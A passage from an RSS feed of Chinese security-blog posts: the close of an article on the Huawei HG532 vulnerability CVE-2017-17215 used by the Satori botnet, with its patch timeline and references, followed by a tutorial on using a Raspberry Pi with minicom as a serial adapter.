255);">在Satori僵尸网络事件中，攻击者使用的0day漏洞为华为家用路由器HG532远程执行任意代码<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">（CVE-2017-17215）</span>，payload是名为OKIRU/SATORI，是Mirai的升级版变种。攻击发起者的昵称为Nexus Zeta<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.48226544622425627" data-s="300,640" style="" data-type="png" data-w="1748" src="https://wechat2rss.xlab.app/img-proxy/?k=c67839d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0TibvdLXicQwm3r8HkTOdMWz4y136d6VoShOib14RtrPtuXzFUpcJhibQnKg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">研究人员确认了漏洞后，就通报给华为，华为安全团队非常给力，很快对该漏洞进行了响应和修复，并提供了补丁</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">关于该僵尸漏洞的详细信息，可以阅读如下报告：<a href="https://cloud.tencent.com/developer/news/7159" target="_blank">https://cloud.tencent.com/developer/news/7159</a></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">Time Line：</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-size: 10px;"><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);font-size: 10px;">2018-02-06 V1.5 UPDATED Updated the description</span></p></li><li style="font-size: 10px;"><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);font-size: 10px;">2017-12-22 V1.4 UPDATED Added the description of solution</span></p></li><li style="font-size: 10px;"><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);font-size: 10px;">2017-12-14 V1.3 UPDATED Added CVE-ID</span></p></li><li style="font-size: 10px;"><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);font-size: 10px;">2017-12-07 V1.2 UPDATED Added Temporary Fixes</span></p></li><li style="font-size: 10px;"><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);font-size: 10px;">2017-12-06 V1.1 UPDATED Added the IPS signature</span></p></li><li style="font-size: 10px;"><p><span style="letter-spacing: 2px;caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 10px;">2017-11-30 V1.0 INITIAL</span></p></li></ul><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">参考引用：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//xz.aliyun.com/t/8494</span></span></code><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//xz.aliyun.com/t/4819</span></span></code><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//paper.seebug.org/498/</span></span></code><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//xz.aliyun.com/t/4130#toc-5</span></span></code><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//f01965.com/2020/07/25/CVE-2017-17215/</span></span></code><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//research.checkpoint.com/2017/good-zero-day-skiddie/</span></span></code></pre></section><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7150837988826816" data-s="300,640" style="" data-type="png" data-w="537" src="https://wechat2rss.xlab.app/img-proxy/?k=05c25aaa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY9RkY0Tx7x6VaJkDY0Pia0TjuncTI8gr9KGjiasOkicyjLG0bW6FavwQObRmHBnAVqzwBDiaAnibTyFrA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;"><img data-ratio="0.037096774193548385" style="box-sizing: border-box !important;visibility: visible !important;width: 620px !important;" data-type="png" data-w="620" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a43d18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZibnzhPsRafHdTzDib6nnoGLHEc4wibgAUyytuT3ERDlMgkRs44VF3KphSCyUnVibiaaLfHiaU20p8ESNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;"><br/><img class="__bg_gif" data-ratio="0.5555555555555556" style="box-sizing: border-box !important;width: 639px !important;visibility: visible !important;" data-type="gif" data-w="639" src="https://wechat2rss.xlab.app/img-proxy/?k=02f0fd4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FlykVJJH3kLgYAR9fyWKgyibEJgYZbslFOP5AQpE1Ah4pklNQpbLrUibSPtFIQ2KIHsiaU8FXmEHkxN9DOZNguxgNg%2F640%3Fwx_fmt%3Dgif"/></p><p style="font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;"><strong style="color: rgb(40, 97, 173);font-family: arial, helvetica, sans-serif;letter-spacing: 0.544px;">给小R同学加鸡腿🍗 </strong></p>



<p><a href="2247488528">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f6d61769&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247488528%26idx%3D1%26sn%3Dd9780cdaec8cd32b7c6ea575366d8f66%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 23 Jun 2021 17:00:00 +0800</pubDate>
    </item>
    <item>
      <title>小技巧｜用树莓派作串口模块</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247488355&amp;idx=1&amp;sn=2be27894980960a8c890c10ea31c1698</link>
      <description>把树莓派和设备接在一起，回到电脑前远程串口办公不香吗？</description>
      <content:encoded><![CDATA[<p>
原创 <span>小R同学</span> <span>2021-06-22 17:00</span> <span style="display: inline-block;"></span>
</p>

<p>把树莓派和设备接在一起，回到电脑前远程串口办公不香吗？</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a8bceda9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOLiaeHREL3I9BQBR9fM5czYXeoeTMtFN2U2EibiaH9AUduqQibPlQkX7IMg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages js_insertlocalimg" data-ratio="0.37578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d703b355&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuONVGiaKyKN9skqRkA0NqDOaMbPpqmlicFJGedmPkfXD4TDTj2pqrjcIPQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">今天测试时发现没有带串口模块，正好手边有个树莓派，所以将开启串口功能的步骤记录了下来，如有不正之处，万望指正：</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1 </span><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">修改APT软件源</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">本来直接用的树莓派自带的apt源，无奈挂代理都不好用，只好更换</span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">在命令行输入<strong>sudo nano /etc/apt/sources.list</strong>将原来的内容使用<strong>#</strong>注释掉，并添加如下内容：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">deb <span class="code-snippet__symbol">http:</span>/<span class="code-snippet__regexp">/mirrors.tuna.tsinghua.edu.cn/raspbian</span><span class="code-snippet__regexp">/raspbian/</span> buster main non-free contrib</span></code><code><span class="code-snippet_outer">deb-src <span class="code-snippet__symbol">http:</span>/<span class="code-snippet__regexp">/mirrors.tuna.tsinghua.edu.cn/raspbian</span><span class="code-snippet__regexp">/raspbian/</span> buster main non-free contrib</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">安装minicom工具</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">sudo apt-<span class="code-snippet__keyword">get</span> install minicom</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);font-size: 22.4px;">2 </span><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);font-size: 22.4px;">开启raspberrypi的UART串口</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">首先进入树莓派配置<strong>sudo raspi-config</strong>选择接口选项</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4332552693208431" data-s="300,640" style="" data-type="png" data-w="1708" src="https://wechat2rss.xlab.app/img-proxy/?k=2aeed928&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOZCbiaoXoyx1vyBI2kxvIfVIz9frVXuexT4HicurLb0B2icRGMYcqyqneA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">点击确定后，再选择串口</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.43376318874560377" data-s="300,640" style="" data-type="png" data-w="1706" src="https://wechat2rss.xlab.app/img-proxy/?k=13b3e494&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOp3zjP1fuh5ZzfJouLyy9SfC40zu3IdFUKMQDJiaeDe0IUCswmquhDpA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(55, 53, 47);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, &#34;Apple Color Emoji&#34;, Arial, sans-serif, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;;font-size: 16px;text-align: start;white-space: pre-wrap;caret-color: rgb(55, 53, 47);background-color: rgb(255, 255, 255);">提示是否开启串口shell，这里我们因为要将raspberryPI作为串口工具用，所以我们选择否</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.9241379310344827" data-s="300,640" style="" data-type="png" data-w="870" src="https://wechat2rss.xlab.app/img-proxy/?k=ee3475d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOeDGlm5PllF2UUmMl5rG8r4qIUJKpNXq9Vv9IusVKFd8vTMktianA6pg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">提示是否开启硬件串口，选择是</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.9285714285714286" data-s="300,640" style="" data-type="png" data-w="868" src="https://wechat2rss.xlab.app/img-proxy/?k=b8e03490&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOsnjDbUzEibPHsPk67gIsPdbgbdM6LQqITrXehbcTu6DkzEKAVQeNwGA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">然后重启，我们就不用买USB2TTL了<strong>XD</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.46" data-s="300,640" style="" data-type="png" data-w="1200" src="https://wechat2rss.xlab.app/img-proxy/?k=ed1211b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOWQRalNVMZsHuJmu99UqrnqsiamicDSrQ2XVtA7eFA2PAQgGnPPgIS8iaA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">我们查看一下<strong>/dev</strong>下的设备文件，可以看到<strong>新增了一个ttyS0</strong>的接口</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);font-size: 22.4px;"><br/></span></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);font-size: 22.4px;">3 </span><span style="font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);font-size: 22.4px;">测试串口</span></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">接下来我们就来测试一下raspberryPI的串口，首先将其接到我们需要调试的设备上：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6323529411764706" data-s="300,640" style="" data-type="png" data-w="1224" src="https://wechat2rss.xlab.app/img-proxy/?k=ce165035&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOYOGSI2R4mHKamlUC6mBhiczH2oSc9IdrbzSPMicVAgcPNIlPhwZZ36icA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">从这个引脚图中可以看出TX和RX分别在8和10脚，将树莓派的TX接到设备上的RX上，将树莓派的RX接到设备上的TX上</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">然后启动<strong>minicom -D /dev/ttyS0</strong>来查看信息</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6" data-s="300,640" style="" data-type="png" data-w="2290" src="https://wechat2rss.xlab.app/img-proxy/?k=0c6e334c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbBHRXaTibGjQ4tCPAAAXOuOv3icMoM9LD8jkgUbgrgTqKPOA2vt7EOmMibMPJgBKiaUkFXHC2a5FpTSg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">Emmmm,接下来我们就可以把树莓派和设备接在一起，回到电脑前远程串口啦</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;"><img data-ratio="0.037096774193548385" style="box-sizing: border-box !important;width: 620px !important;visibility: visible !important;" data-type="png" data-w="620" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a43d18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZibnzhPsRafHdTzDib6nnoGLHEc4wibgAUyytuT3ERDlMgkRs44VF3KphSCyUnVibiaaLfHiaU20p8ESNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;"><br/><img data-ratio="0.5555555555555556" data-w="639" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=02f0fd4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FlykVJJH3kLgYAR9fyWKgyibEJgYZbslFOP5AQpE1Ah4pklNQpbLrUibSPtFIQ2KIHsiaU8FXmEHkxN9DOZNguxgNg%2F640%3Fwx_fmt%3Dgif"/></p><p style="font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;"><strong style="color: rgb(40, 97, 173);font-family: arial, helvetica, sans-serif;letter-spacing: 0.544px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);">给小R同学加鸡腿🍗 </strong></p>



<p><a href="2247488355">阅读原文</a></p>
